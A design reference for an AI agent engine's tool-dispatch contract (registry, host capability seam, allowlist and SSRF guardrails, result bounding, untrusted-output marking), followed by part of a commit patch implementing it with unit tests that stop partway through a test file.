[../../decisions/0037-engine-tool-execution-boundary.md](../../decisions/0037-engine-tool-execution-boundary.md) (the decision), [../../decisions/0029-tool-policy-hardening.md](../../decisions/0029-tool-policy-hardening.md) (the guardrails), [built-in-tools.md](built-in-tools.md) (the tool catalog + the concrete result-bounding / config-only-param shapes), [node-types.md](node-types.md) (the `tool_config` / `agent_config` blocks that carry `parameters` / `input_mapping` / `output_mapping`), [mcp-integration.md](mcp-integration.md) (the MCP tool transport, 2.R), [llm-provider-seam.md](llm-provider-seam.md) (the canonical `ToolDef` the `ToolNormalizer` lowers), [../contracts/sse-event-schema.md](../contracts/sse-event-schema.md#error-code-taxonomy) (`agent:tool_call` / `agent:tool_result` payloads + the `tool_denied` / `tool_failed` codes), [../../standards/security-review.md](../../standards/security-review.md#prompt-injection-posture) (the untrusted-data + SSRF + secret rules), [../../standards/error-handling.md](../../standards/error-handling.md) (the retryable/fatal mapping), [../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md) (the sibling `ExecutionHost` seam + the single event-translation point), [../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md](../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md) (durable media handles) + +This page is the **one canonical home** for the tool-execution *contract* — how the engine registers a tool, resolves it, assembles and validates its effective arguments, enforces [ADR-0029](../../decisions/0029-tool-policy-hardening.md)'s guardrails, performs the side effect through the host, bounds the model-facing result, and marks it untrusted. The *why* (the engine↔host boundary, the policy/mechanism split) lives in [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md); the *tool catalog* (the twelve built-ins, their return shapes, FS scope tiers, and the concrete result-bounding thresholds) lives in [built-in-tools.md](built-in-tools.md). This file is the dry reference its consumers (the 1.T registry, the 1.O `AgentRunner`, the 1.V `AgentSession`, each surface's `ToolHost` wiring) bind to. Where any other doc names a tool-dispatch rule it links here and never restates it. + +> **The one rule that shapes everything here.** `@relavium/core` has **zero platform-specific imports** (CLAUDE.md rule 5). Eleven of the twelve built-in tools need filesystem / process / network / OS I/O the engine therefore cannot perform. The engine owns **policy + dispatch** (pure); the **mechanism** is injected as a `ToolHost`, the same purity seam as `ResolverCapabilities.readFile` (1.L2) and the injected HTTP transport ([ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md)). The TypeScript shapes below are the canonical interface the implementation mirrors. + +## The `ToolDef` — a registered tool + +A tool is registered as a `ToolDef`: its identity, an **executable** args validator (not just a JSON Schema), its guardrail/capability classification, and a pure `dispatch` that runs against the injected host. + +```ts +/** Exact-match registry key. Built-ins use the fixed catalog ids; MCP/plugin tools register dynamically. */ +type ToolId = string; // e.g. 'read_file' | 'run_command' | 'mcp::' | 'plugin::' + +interface ToolDef { + readonly id: ToolId; + readonly source: 'builtin' | 'mcp' | 'plugin'; + readonly description: string; + + /** + * The EXECUTABLE args validator AND the source of truth for the parameter shape — a Zod schema's + * `parse` (Zod is already a `@relavium/core` dependency; no new dep). It validates the COMPLETE + * effective argument set (model + `input_mapping` + config-only), not just model args, and throws + * `ToolArgsInvalidError` on a miss. A bare `JSONSchema7` is data, not a validator — it cannot gate + * dispatch, so it is never the validation mechanism. + */ + parseArgs(raw: unknown): Args; + + /** + * The LLM-VISIBLE projection of the parameter shape — and ONLY this — is what the `ToolNormalizer` + * (1.E) lowers to each provider's wire shape; a model can supply only these. It is derived from the + * LLM-visible subset of the args schema (an in-house emitter or a hand-maintained projection — an + * implementation detail), excluding every `configOnlyParams` entry. + */ + readonly llmVisibleParams: JSONSchema7; + + /** + * Names of CONFIG-PINNED parameters: their VALUES come from the node's `tool_config` / `agent_config` + * block ([node-types.md](node-types.md)) via `ctx.config`, are merged at dispatch (config wins), and + * NEVER appear in `llmVisibleParams` — a model argument can never override one (a pinned root path / + * base URL / timeout the model can't touch). + */ + readonly configOnlyParams?: readonly string[]; + + readonly policy: ToolPolicyClass; + + /** + * Pure dispatcher: validated+merged effective args in, the FULL result out. Performs side effects + * ONLY via `host`; never imports `node:*`/`fetch`. Threads `ctx.signal` (cooperative cancel). The + * model-facing bounding (built-in-tools.md) is applied by the pipeline AFTER `output_mapping`, never + * inside `dispatch`, so the full result reaches workflow state intact. + */ + dispatch(args: Args, host: ToolHost, ctx: ToolDispatchContext): Promise; +} + +interface ToolPolicyClass { + /** Needs the FS scope tier — `read_file`, `write_file`, `list_directory`. */ + readonly fsScoped: boolean; + /** Spawns an OS process under the `allowedCommands` allowlist — `run_command`, `git_*`. */ + readonly spawnsProcess: boolean; + /** Outbound egress — DISCRIMINATED by kind, because the three paths have different policies. */ + readonly egress?: 'http' | 'search' | 'mcp'; + /** Requires a human-gate approval in an automated workflow before it may execute — `git_commit`. */ + readonly requiresGateApproval: boolean; +} +``` + +The canonical `ToolDef` that crosses the `@relavium/llm` seam to a provider is the leaner +`{ name, description?, parameters }` shape ([llm-provider-seam.md](llm-provider-seam.md)); the +`ToolNormalizer` (1.E) lowers `id` → `name` and `llmVisibleParams` → `parameters`. **`configOnlyParams` +never crosses the seam** — that is the point. + +## The `ToolHost` capability seam + +The host (CLI / VS Code Node host, desktop Rust commands, Phase-2 cloud worker) injects a `ToolHost`. +Every method is the engine's only path to a side effect. Each capability is **optional**: a tool whose +capability is absent fails with a typed `ToolUnavailableError` (never a crash, never a platform import +sneaking into the engine) — exactly as an absent `ResolverCapabilities.readFile` fails the `read_file` +interpolation filter. + +```ts +interface ToolHost { + readonly fs?: FsCapability; // file read/write/list, jailed to the active FS scope tier + readonly process?: ProcessCapability; // process spawn — host-resolved executable + base env; shell:false + readonly egress?: EgressCapability; // outbound HTTPS — shared SSRF primitive; host-resolved credential ref + readonly os?: OsCapability; // clipboard / native notification + readonly mcp?: McpCapability; // MCP client transport (ADR-0034; wired at 2.R) + readonly outputStore?: ToolOutputStore; // run-scoped bounded spill for over-ceiling results (below) +} + +interface ProcessCapability { + /** + * Spawn an already-allowlist-checked command with **`shell: false`**. The HOST resolves the executable + * (platform PATH lookup — `npm`/`git` are unresolvable without it) and supplies the platform-minimal + * base environment, then merges ONLY the engine-declared extra vars under an audited allowlist — + * **never** the full ambient `process.env`. The engine cannot build a platform base env (it is + * platform-free), so env construction is the host's job; the engine supplies the *policy* (the + * allowlist-checked command + the declared vars) and the host enforces the FS scope tier + a + * CPU/mem/time budget. stdout/stderr/exit are untrusted. + */ + spawn(command: string, args: readonly string[], declaredEnv: Readonly>, + opts: SpawnOpts, signal?: AbortSignalLike): Promise; +} + +interface EgressCapability { + /** + * Perform an outbound HTTPS request the engine has ALREADY policy-checked (per egress kind, below). + * The host implementation MUST run the one shared SSRF range-primitive (block + * private/loopback/link-local/metadata/CGNAT; DNS-resolve + connect-by-validated-IP + + * per-hop-redirect-revalidate — security-review.md). A `credentialRef` is an OPAQUE secret-store + * reference (the `web_search` provider key, an auth header value) the host resolves and attaches + * INSIDE its trusted boundary — the ADR-0006/0018 key-reference pattern, so the raw secret never + * enters the engine / WebView. Streams the response and enforces `ctx.limits` while streaming. + * Ships feature-flag-OFF until the shared primitive lands at 1.AE. + */ + fetch(request: EgressRequest, signal?: AbortSignalLike): Promise; + // EgressRequest = { method, url, headers, body?, credentialRef?: string } +} + +interface ToolOutputStore { + /** Spill an over-ceiling result to a run-scoped store; returns a handle + byte length, reclaimed on the + * run's terminal event (ADR-0036). A genuinely streamed huge source is bounded by its host capability + * at the boundary (returning an already-bounded payload); this spills the in-memory result a + * `dispatch` returned, so the engine hands the model a preview + the spill handle, not the full bytes. */ + spill(text: string, limits: ToolResultLimits, signal?: AbortSignalLike): Promise; +} +``` + +> **Sibling seams, one host.** `ToolHost` is a distinct seam from [ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)'s `ExecutionHost` (persistence / clock / transport) and from 1.L2's `ResolverCapabilities` (the `read_file` filter). The host wires all of them; in Phase-2 cloud the relocated `ExecutionHost` provides the `ToolHost`. None is folded into another — each stays minimal and auditable. + +## Resolution & the dispatch lifecycle + +`registry.dispatch(toolCall, ctx)` runs a fixed, pure pipeline. **Security order matters:** the +effective argument set is assembled *before* the guardrail checks, so a policy never runs on +half-populated args (a `tool` node has no model args — every value arrives via `input_mapping` — so a +policy that ran before assembly would inspect nothing and a command allowlist would be bypassed). The +host is touched once, in the middle. + +1. **Resolve by exact id, then check the grant.** Look up `toolCall.name` by **exact match** — unknown / misspelled → `UnknownToolError` listing the available ids (**never** fuzzy / nearest-name, [ADR-0029](../../decisions/0029-tool-policy-hardening.md)). Then verify the id is in `ctx.grantedToolIds` (the node's narrowed grant, 0029(b)); a registered-but-not-granted tool (e.g. a hallucinated / injected `tool_call`) → `ToolPolicyError`. The registry holding a `ToolDef` is **not** authorization to dispatch it. +2. **Assemble the effective argument set.** Start from the model-supplied args (for an agent tool-call) and/or `ctx.config.input_mapping` (for a `tool` node, where there are no model args), apply `input_mapping`, then merge `configOnlyParams` **last (config wins)**. +3. **Validate the COMPLETE effective set** via `tool.parseArgs` **and** the secret-taint check — `input_mapping`/config-derived values are validated identically to model args; a secret-tainted value reaching a non-credential arg is rejected (0029(c)). A miss → `ToolArgsInvalidError`. +4. **Enforce the guardrail policy on the EFFECTIVE args** (the resolved command / URL is now the real value): exact `allowedCommands` (+ opt-in `allowedCommandGlobs`, deny-all-empty); per egress kind (table below); `git_commit` refused unless `ctx.gateApproved`. A denial → `ToolPolicyError` → **before any host call**. +5. **Call the host capability** (the single side effect), threading `ctx.signal`. Absent capability → `ToolUnavailableError`; an `AbortSignal`-origin failure → the **cancellation** path (`cancelled`, never `tool_failed` — preserves ADR-0036 cancel precedence); any other host throw → `ToolExecutionError`. +6. **Apply `output_mapping` to the FULL result** → workflow state gets the real value, never the bounded preview. +7. **Bound the model-facing result** (§Result bounding and spill-to-file) from the (streamed) result via `ctx.limits` + the host `outputStore` — the full bytes are never buffered in the engine. +8. **Mark the result untrusted** (§Untrusted-data taint) and hand the structured `tool_call` / `tool_result` data + its taint/secret markers to the bus's single translation point ([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) for `agent:tool_call` / `agent:tool_result` emission. + +> **Loop-correctable vs terminal.** `UnknownToolError` and `ToolArgsInvalidError` are first returned to the agent loop (1.O) as a correctable `isError` `tool_result` so the model can fix its call; they escalate to a node `ErrorCode` only if the loop gives up. A `ToolPolicyError` is structurally fatal and never loop-retried. + +```ts +interface ToolDispatchContext { + readonly nodeId: string; + readonly grantedToolIds: ReadonlySet; // the node's narrowed grant (0029(b)); dispatch refused outside it + readonly config: ToolNodeConfig; // resolved tool_config/agent_config block: configOnly VALUES + input/output_mapping (node-types.md) + readonly toolPolicy: ToolPolicy; // resolved allowedCommands/-Globs/-Domains (@relavium/shared) + readonly fsScope: FsScopeTier; // sandboxed | project-scoped | full (built-in-tools.md) + readonly gateApproved: boolean; // a human-gate decision is present for this dispatch (1.Q) + readonly invokeAgent: (nodeId: string, input: unknown) => Promise; // engine delegate + readonly limits: ToolResultLimits; // the result-bounding ceilings (built-in-tools.md) + readonly signal?: AbortSignalLike; +} +``` + +`ctx.config` is populated by the `AgentRunner` (1.O) / DAG builder (1.M) from the node's resolved +config block ([node-types.md](node-types.md) `tool_config` / `agent_config`) — that is where the +config-only VALUES and the `input_mapping` / `output_mapping` come from. `invokeAgent` is an +**engine-provided delegate**, not a `ToolHost` capability — `invoke_agent` is pure orchestration +(dispatch another node by id), no platform I/O, no full router selection this phase. + +## Guardrail enforcement (policy = engine-pure; mechanism = host) + +The canonical guardrail home is [security-review.md §Sandbox-and-tool-policy](../../standards/security-review.md#sandbox-and-tool-policy-run_command-node-tools-secret-inputs) and [ADR-0029](../../decisions/0029-tool-policy-hardening.md); this table shows **where each half runs** — every engine-pure check is on the **effective** args (step 4). + +| Guardrail | Engine-pure check (the policy) | Host mechanism | +|-----------|-------------------------------|----------------| +| Node `tools:` grant | `id ∈ ctx.grantedToolIds` (exact); registered ≠ granted | — | +| `run_command` allowlist | resolved command matched **exactly** vs `allowedCommands`; opt-in glob via `allowedCommandGlobs`; **empty/absent ⇒ deny-all** | `process.spawn`, `shell:false`, FS scope tier + CPU/mem/time budget | +| Subprocess environment | engine supplies the **declared** vars + the policy | host resolves the executable + the platform-minimal base env, merges only allowlisted declared vars — **never** ambient `process.env` | +| `http_request` (egress `http`) | **HTTPS-only**, **exact-FQDN** `allowedDomains`, **empty/absent ⇒ deny-all**; an `input_mapping`-derived URL runs the same check (0029(d)) | `egress.fetch` runs the shared SSRF primitive + connect-pinning (1.AE) | +| `web_search` (egress `search`) | untrusted-data-validated **query** (transits a query, **not** an FQDN allowlist — [security-review.md §Prompt-injection](../../standards/security-review.md#prompt-injection-posture)) | `egress.fetch` to the configured provider; key via host-resolved `credentialRef` | +| `mcp_call` (egress `mcp`) | configured MCP **server** URL (not `allowedDomains`); secrets injected host-side | `mcp` transport runs the same SSRF primitive (0029(d); 2.R) | +| `git_commit` | refused unless `ctx.gateApproved` (human-gate, 1.Q) in an automated workflow | `process.spawn` | +| node `tools:` narrowing | already parser-enforced (narrow-only, 0029(b)/[ADR-0023](../../decisions/0023-strict-authored-yaml-validation.md)) | — | +| secret args | `secret`-typed values reach only credential/header fields, rejected at parse from tool text (transitive taint, 0029(c)); re-checked on the effective set (step 3) | host attaches a resolved `credentialRef` inside its trust boundary | +| FS scope tier | tool flagged `fsScoped` | `fs.*` jails to the tier + rejects path traversal | + +## Result bounding and spill-to-file + +The result a tool hands **back to the model** (which re-enters the next `LlmRequest`) is bounded — +distinct from the *event* `outputSummary`, which is truncated separately at the bus translation point +([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). Three rules: + +- **Bounding is model-facing only.** `output_mapping` runs on the **full** result (step 6) so workflow state holds the real value; only the model-facing `tool_result` is replaced by a **bounded preview + an explicit truncation marker + the spill path** (step 7). +- **The full bytes are never buffered in the engine.** A potentially-large result is streamed; past the ceiling the **host `outputStore`** spills it (incrementally) to a run-scoped file and returns a handle — the engine holds only the preview window. This closes the DoS surface for real (buffer-then-spill would not). The output store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` capability (a `web_search` / MCP host with no `fs` still bounds). +- **Reclaimed at the terminal event.** Spilled output is run-scoped and swept when the run reaches a terminal event (the ADR-0036 terminal-state sweep), like other run-scoped artifacts. + +The ceiling is a **byte/line** bound (no token count — that needs a provider-specific tokenizer, which would break engine purity); concrete defaults and the marker shape are canonical in +[built-in-tools.md](built-in-tools.md#tool-result-bounding). `ToolResultLimits` carries them into `ctx`. + +## Untrusted-data taint (1.T marks; 1.O places) + +Every tool result is wrapped in the engine's branded untrusted marker at the registry boundary (the +same compile-time technique as the 0029(c) secret taint). The 1.O message-assembly layer can then place +a tainted value **only** in a `user` / `tool` position, **never** `system` and never string-concatenated +into an instruction template — the type makes the unsafe path unrepresentable rather than relying on +per-call-site discipline ([security-review.md §Prompt-injection](../../standards/security-review.md#prompt-injection-posture), binding on 1.T/1.O/1.V). 1.T owns the **marking**; 1.O owns the **placement**. This also covers a value that flowed through 1.L2's `resolveTemplate` (which drops provenance), per the 1.O acceptance criteria. + +## Built-in tool → capability map + +| Tool | Capability / delegate | Guardrail | +|------|----------------------|-----------| +| `read_file` / `write_file` / `list_directory` | `host.fs` | FS scope tier (binary/media ⇒ **durable handle**, not inline base64 — below) | +| `run_command` | `host.process` | exact `allowedCommands` + host-resolved executable + declared env, `shell:false` | +| `git_status` | `host.process` | pre-approved git allowlist | +| `git_commit` | `host.process` | **human-gate approval required** | +| `http_request` | `host.egress` (`http`) | HTTPS-only + exact-FQDN `allowedDomains` + SSRF (1.AE-gated) | +| `web_search` | `host.egress` (`search`) | provider key via host-resolved `credentialRef`; untrusted query | +| `read_clipboard` / `notify` | `host.os` | — | +| `mcp_call` | `host.mcp` | server URL runs the same SSRF primitive (0029(d); 2.R) | +| `invoke_agent` | `ctx.invokeAgent` (engine delegate) | pure orchestration — no `ToolHost` I/O | + +**Binary / media results.** A tool returning binary or media content (a `read_file` on a non-text file, +a media `http_request` body) returns a **durable media handle** (`tool_result.media`, +[ADR-0031](../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md)) — **never** inline base64 in +`tool_result.result`, which the ADR-0031 backstop rejects. The host writes the bytes to its media store +and returns the handle (the desktop CAS path of [ADR-0032](../../decisions/0032-desktop-rust-media-de-inline-amends-0018.md)); this threads through the media sub-spine (1.AF) and is gated until it lands. + +## Error taxonomy + +All typed, narrowed on a discriminant, **secret-free** (names a tool id / field, never an arg value, a +resolved path, or a host stack — [error-handling.md](../../standards/error-handling.md)). The +retryable/fatal split is owned by [error-handling.md](../../standards/error-handling.md) and the closed +codes by [sse-event-schema.md](../contracts/sse-event-schema.md#error-code-taxonomy): + +| Error | When | Run `ErrorCode` | Class | +|-------|------|-----------------|-------| +| `UnknownToolError` | id not an exact match | `tool_failed` | fatal (loop-correctable first) | +| `ToolPolicyError` | a guardrail / grant denial (unlisted command, blocked domain, not granted, missing gate) | `tool_denied` | **fatal** (never retried) | +| `ToolArgsInvalidError` | effective args fail `parseArgs` / secret-taint | `validation` | fatal (loop-correctable first) | +| `ToolUnavailableError` | the required `ToolHost` capability is absent (host/config gap, not the model's fault) | `internal` | fatal | +| `ToolExecutionError` | the host capability threw a non-cancel error (cause kept off the message, for logs) | `tool_failed` | retryable (node budget) | +| *(AbortSignal abort)* | the run was cancelled mid-tool | `cancelled` | fatal (cancel path, not `tool_failed`) | + +## Instantiation + +```ts +// Engine-pure: register the tools, inject one host. Both entry points share one instance. +const registry = createToolRegistry({ + tools: BUILTIN_TOOLS, // the ToolDef catalog (built-in-tools.md); MCP/plugin ToolDefs register dynamically (2.R) + host: toolHost, // the surface's ToolHost (Node fs/process/fetch; desktop Rust commands) +}); +// Per dispatch, the node's grant + resolved config gate the call (ctx.grantedToolIds / ctx.config): +const result = await registry.dispatch(toolCall, ctx); +``` + +`createToolRegistry` performs **no** I/O and reads **no** ambient state — a stub `ToolHost` makes the +whole registry unit-testable with zero real side effects (the engine coverage bar applies). The registry +holds every registered `ToolDef`, but a dispatch is authorized only by `ctx.grantedToolIds`, so adding a +tool to the catalog never widens what a given node may call. An MCP or media tool is an additive +`ToolDef` + `ToolHost` capability later (2.R / 1.AF), not a shape change here. From 842b7e1f28611adf28423c26afa41231559bb312 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 11:36:50 +0300 Subject: [PATCH 05/16] =?UTF-8?q?feat(core):=20implement=201.T=20=E2=80=94?= =?UTF-8?q?=20built-in=20ToolRegistry=20+=20dispatch=20behind=20the=20Tool?= =?UTF-8?q?Host=20seam?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The engine-side registry the AgentRunner (1.O) and AgentSession (1.V) invoke. Pure (zero platform imports): resolution, the node-grant check (registered ≠ authorized), effective-arg assembly + Zod validation + secret-taint re-check, the ADR-0029 guardrails on the EFFECTIVE args (so a tool node whose args come from input_mapping cannot bypass the command/domain allowlist), output_mapping on the full result, model-facing byte/line bounding with spill-to-store, and untrusted-result branding. Every side effect goes through the injected ToolHost (fs/process/egress/os/mcp/outputStore); the 12 built-in ToolDefs span every policy class. Egress tools dispatch against a stub host now and ship gated at the surfaces until the shared SSRF primitive lands (1.AE). - tools/{types,errors,untrusted,bounding,registry,builtins}.ts + 81 tests - tools coverage 98% line / 94% branch; full turbo lint+typecheck+test+build green - No new dependency (Zod already in core); no vendor type crosses the @relavium/llm seam Refs: ADR-0037, ADR-0029 Co-Authored-By: Claude Opus 4.8 (1M context) --- packages/core/src/tools/bounding.test.ts | 74 ++++ packages/core/src/tools/bounding.ts | 127 ++++++ packages/core/src/tools/builtins.test.ts | 149 +++++++ packages/core/src/tools/builtins.ts | 409 ++++++++++++++++++++ packages/core/src/tools/errors.ts | 138 +++++++ packages/core/src/tools/registry.test.ts | 448 ++++++++++++++++++++++ packages/core/src/tools/registry.ts | 404 +++++++++++++++++++ packages/core/src/tools/types.ts | 324 ++++++++++++++++ packages/core/src/tools/untrusted.test.ts | 23 ++ packages/core/src/tools/untrusted.ts | 41 ++ 10 files changed, 2137 insertions(+) create mode 100644 packages/core/src/tools/bounding.test.ts create mode 100644 packages/core/src/tools/bounding.ts create mode 100644 packages/core/src/tools/builtins.test.ts create mode 100644 packages/core/src/tools/builtins.ts create mode 100644 packages/core/src/tools/errors.ts create mode 100644 packages/core/src/tools/registry.test.ts create mode 100644 packages/core/src/tools/registry.ts create mode 100644 packages/core/src/tools/types.ts create mode 100644 packages/core/src/tools/untrusted.test.ts create mode 100644 packages/core/src/tools/untrusted.ts diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts new file mode 100644 index 00000000..05bb03cc --- /dev/null +++ b/packages/core/src/tools/bounding.test.ts @@ -0,0 +1,74 @@ +import { describe, expect, it, vi } from 'vitest'; + +import { boundForModel, utf8ByteLength } from './bounding.js'; +import type { ToolHost, ToolResultLimits } from './types.js'; + +const BIG: ToolResultLimits = { maxBytes: 50_000, maxLines: 2000 }; +const TINY: ToolResultLimits = { maxBytes: 20, maxLines: 3 }; + +describe('utf8ByteLength', () => { + it('counts ASCII, 2-byte, 3-byte, and surrogate-pair (4-byte) code points', () => { + expect(utf8ByteLength('abc')).toBe(3); + expect(utf8ByteLength('é')).toBe(2); // U+00E9 + expect(utf8ByteLength('€')).toBe(3); // U+20AC + expect(utf8ByteLength('😀')).toBe(4); // U+1F600 surrogate pair + expect(utf8ByteLength('')).toBe(0); + }); +}); + +describe('boundForModel', () => { + const host = (overrides?: Partial): ToolHost => ({ ...overrides }); + + it('passes a within-limits result through untouched', async () => { + const result = { ok: true, n: 1 }; + const bounded = await boundForModel(result, BIG, host()); + expect(bounded.truncated).toBe(false); + expect(bounded.value).toBe(result); + expect(bounded.summary).toContain('ok'); + }); + + it('truncates an over-byte result and spills via the output store', async () => { + const spill = vi.fn((text: string) => Promise.resolve({ ref: 'spill://abc', byteLength: text.length })); + const text = 'x'.repeat(500); + const bounded = await boundForModel(text, TINY, host({ outputStore: { spill } })); + expect(bounded.truncated).toBe(true); + expect(spill).toHaveBeenCalledOnce(); + expect(String(bounded.value)).toContain('spill://abc'); + expect(String(bounded.value)).toContain('truncated'); + }); + + it('truncates over the LINE ceiling too', async () => { + const spill = vi.fn(() => Promise.resolve({ ref: 'spill://lines', byteLength: 1 })); + const text = Array.from({ length: 50 }, (_, i) => `line ${i}`).join('\n'); + const bounded = await boundForModel(text, { maxBytes: 50_000, maxLines: 3 }, host({ outputStore: { spill } })); + expect(bounded.truncated).toBe(true); + expect(spill).toHaveBeenCalledOnce(); + }); + + it('marks "no output store" when none is wired', async () => { + const bounded = await boundForModel('y'.repeat(500), TINY, host()); + expect(bounded.truncated).toBe(true); + expect(String(bounded.value)).toContain('no output store'); + }); + + it('renders a non-string result as compact JSON and a string result verbatim', async () => { + const obj = await boundForModel({ a: 1 }, BIG, host()); + expect(obj.summary).toContain('"a"'); + const str = await boundForModel('hello world', BIG, host()); + expect(str.value).toBe('hello world'); + }); + + it('treats undefined as empty (never truncated)', async () => { + const bounded = await boundForModel(undefined, TINY, host()); + expect(bounded.truncated).toBe(false); + expect(bounded.value).toBeUndefined(); + }); + + it('renders an unserializable (circular) result without throwing', async () => { + const circular: Record = {}; + circular['self'] = circular; + const bounded = await boundForModel(circular, BIG, host()); + expect(bounded.truncated).toBe(false); + expect(bounded.summary).toBe('[unserializable]'); + }); +}); diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts new file mode 100644 index 00000000..c50cc9da --- /dev/null +++ b/packages/core/src/tools/bounding.ts @@ -0,0 +1,127 @@ +/** + * Model-facing result bounding (1.T — the deferred tool-output-gate). Bounds the result that re-enters + * the next `LlmRequest` so one oversized `read_file` / `http_request` / MCP result cannot blow the next + * request's context window (a cost/DoS surface the pre-egress governor — ADR-0028 — cannot see). The + * bound is **model-facing only**: the registry applies `output_mapping` to the FULL result first, so + * workflow state keeps the real value; only the model-facing copy is bounded here. The ceiling is a + * **byte/line** bound (no token count — that needs a provider tokenizer, breaking engine purity). Over + * the ceiling, the full text is spilled to the host's run-scoped output store (reclaimed at the run's + * terminal event) and the model gets a bounded preview + an explicit truncation marker + the spill path. + * See [tool-registry.md](../../../../docs/reference/shared-core/tool-registry.md#result-bounding-and-spill-to-file). + */ + +import type { AbortSignalLike } from '@relavium/shared'; + +import type { ToolHost, ToolResultLimits } from './types.js'; + +export interface BoundedResult { + /** The model-facing value: the original result when within limits, else a preview string + marker. */ + readonly value: unknown; + readonly truncated: boolean; + /** A short, single-line display summary for the event `outputSummary` (always bounded). */ + readonly summary: string; +} + +/** Display cap (chars) for the event `outputSummary` — distinct from the model-facing ceiling. */ +const SUMMARY_MAX = 500; + +/** UTF-8 byte length without `TextEncoder` (kept dependency- and global-free for engine purity). */ +export function utf8ByteLength(text: string): number { + let bytes = 0; + for (let i = 0; i < text.length; i++) { + const code = text.charCodeAt(i); + if (code < 0x80) { + bytes += 1; + } else if (code < 0x800) { + bytes += 2; + } else if (code >= 0xd800 && code <= 0xdbff) { + bytes += 4; // a surrogate pair encodes one 4-byte code point + i++; + } else { + bytes += 3; + } + } + return bytes; +} + +function countLines(text: string): number { + if (text.length === 0) { + return 0; + } + let lines = 1; + for (let i = 0; i < text.length; i++) { + if (text.charCodeAt(i) === 0x0a) { + lines++; + } + } + return lines; +} + +/** Render any result to the text the model would see (a string is itself; else compact JSON). */ +function toText(result: unknown): string { + if (typeof result === 'string') { + return result; + } + if (result === undefined) { + return ''; + } + try { + // JSON.stringify returns undefined for a value with no JSON form (a bare function/symbol); the `??` + // keeps a string without falling back to a `[object Object]`-style default stringification. + return JSON.stringify(result) ?? '[unserializable]'; + } catch { + return '[unserializable]'; // circular reference / throwing toJSON + } +} + +function makeSummary(text: string): string { + const oneLine = text.replace(/\s+/g, ' ').trim(); + return oneLine.length <= SUMMARY_MAX ? oneLine : `${oneLine.slice(0, SUMMARY_MAX)}…`; +} + +function makePreview(text: string, limits: ToolResultLimits): string { + // A char budget proxies the byte ceiling for the preview (the model only needs a readable window). + const budget = Math.max(0, limits.maxBytes); + if (text.length <= budget) { + return text; + } + const head = text.slice(0, Math.floor(budget * 0.7)); + const tail = text.slice(text.length - Math.floor(budget * 0.3)); + return `${head}\n…\n${tail}`; +} + +/** + * Bound the model-facing result. Within the ceiling → the original result, untouched. Over the ceiling + * → a preview + marker; the full text is spilled to `host.outputStore` (its own capability, so bounding + * works even on a host with no filesystem). The full result for `output_mapping` is handled by the + * registry, never here. + * + * Note: a genuinely streamed huge source is bounded by its host capability at the boundary (it returns + * an already-bounded payload); this helper bounds the in-memory result a `dispatch` returns. + */ +export async function boundForModel( + result: unknown, + limits: ToolResultLimits, + host: ToolHost, + signal?: AbortSignalLike, +): Promise { + const text = toText(result); + const summary = makeSummary(text); + const bytes = utf8ByteLength(text); + const lines = countLines(text); + + if (bytes <= limits.maxBytes && lines <= limits.maxLines) { + return { value: result, truncated: false, summary }; + } + + let ref: string | undefined; + if (host.outputStore) { + const spilled = await host.outputStore.spill(text, limits, signal); + ref = spilled.ref; + } + const marker = + ref === undefined + ? `\n\n[… truncated: ${bytes} bytes / ${lines} lines; full output unavailable (no output store) …]` + : `\n\n[… truncated: ${bytes} bytes / ${lines} lines; full output at ${ref} …]`; + return { value: makePreview(text, limits) + marker, truncated: true, summary }; +} diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts new file mode 100644 index 00000000..f2df3116 --- /dev/null +++ b/packages/core/src/tools/builtins.test.ts @@ -0,0 +1,149 @@ +import { describe, expect, it } from 'vitest'; + +import { BUILTIN_TOOLS, BUILTIN_TOOL_IDS } from './builtins.js'; +import { ToolUnavailableError } from './errors.js'; +import type { ToolDef, ToolDispatchContext, ToolHost } from './types.js'; + +function tool(id: string): ToolDef { + const found = BUILTIN_TOOLS.find((candidate) => candidate.id === id); + if (found === undefined) { + throw new Error(`no built-in tool: ${id}`); + } + return found; +} + +function fullHost(): ToolHost { + return { + fs: { + readFile: (path) => Promise.resolve({ content: `c:${path}`, mimeType: 'text/plain', sizeBytes: 1, lastModified: 't' }), + writeFile: (path, data) => Promise.resolve({ path, bytesWritten: data.length }), + listDirectory: () => Promise.resolve({ entries: [{ name: 'a', type: 'file', sizeBytes: 1, lastModified: 't' }] }), + }, + process: { spawn: () => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }) }, + egress: { fetch: () => Promise.resolve({ status: 200, headers: {}, body: '{}' }) }, + os: { readClipboard: () => Promise.resolve('clip'), notify: () => Promise.resolve() }, + mcp: { call: () => Promise.resolve({ ok: true }) }, + outputStore: { spill: (text) => Promise.resolve({ ref: 'spill://1', byteLength: text.length }) }, + }; +} + +const ctx: ToolDispatchContext = { + nodeId: 'n', + grantedToolIds: new Set(BUILTIN_TOOL_IDS), + config: {}, + toolPolicy: {}, + fsScope: 'sandboxed', + gateApproved: true, +}; + +// `requireX` throws synchronously inside the dispatch arrow (the registry catches it in its +// `try { await dispatch() }`), so a thunk-wrapper is needed to surface it as a rejection in tests. +async function rejection(thunk: () => unknown): Promise { + try { + await thunk(); + } catch (error) { + return error; + } + throw new Error('expected the dispatch to fail, but it succeeded'); +} + +interface ToolCase { + readonly id: string; + readonly args: unknown; + readonly cap?: string; +} + +// One representative valid call per tool (covers each dispatch arrow + its `?? []`/`?? {}` branches). +const CASES: readonly ToolCase[] = [ + { id: 'read_file', args: { path: 'a', glob: true }, cap: 'fs' }, + { id: 'write_file', args: { path: 'a', content: 'x', append: true, createDirs: true }, cap: 'fs' }, + { id: 'list_directory', args: { path: 'a', recursive: true, 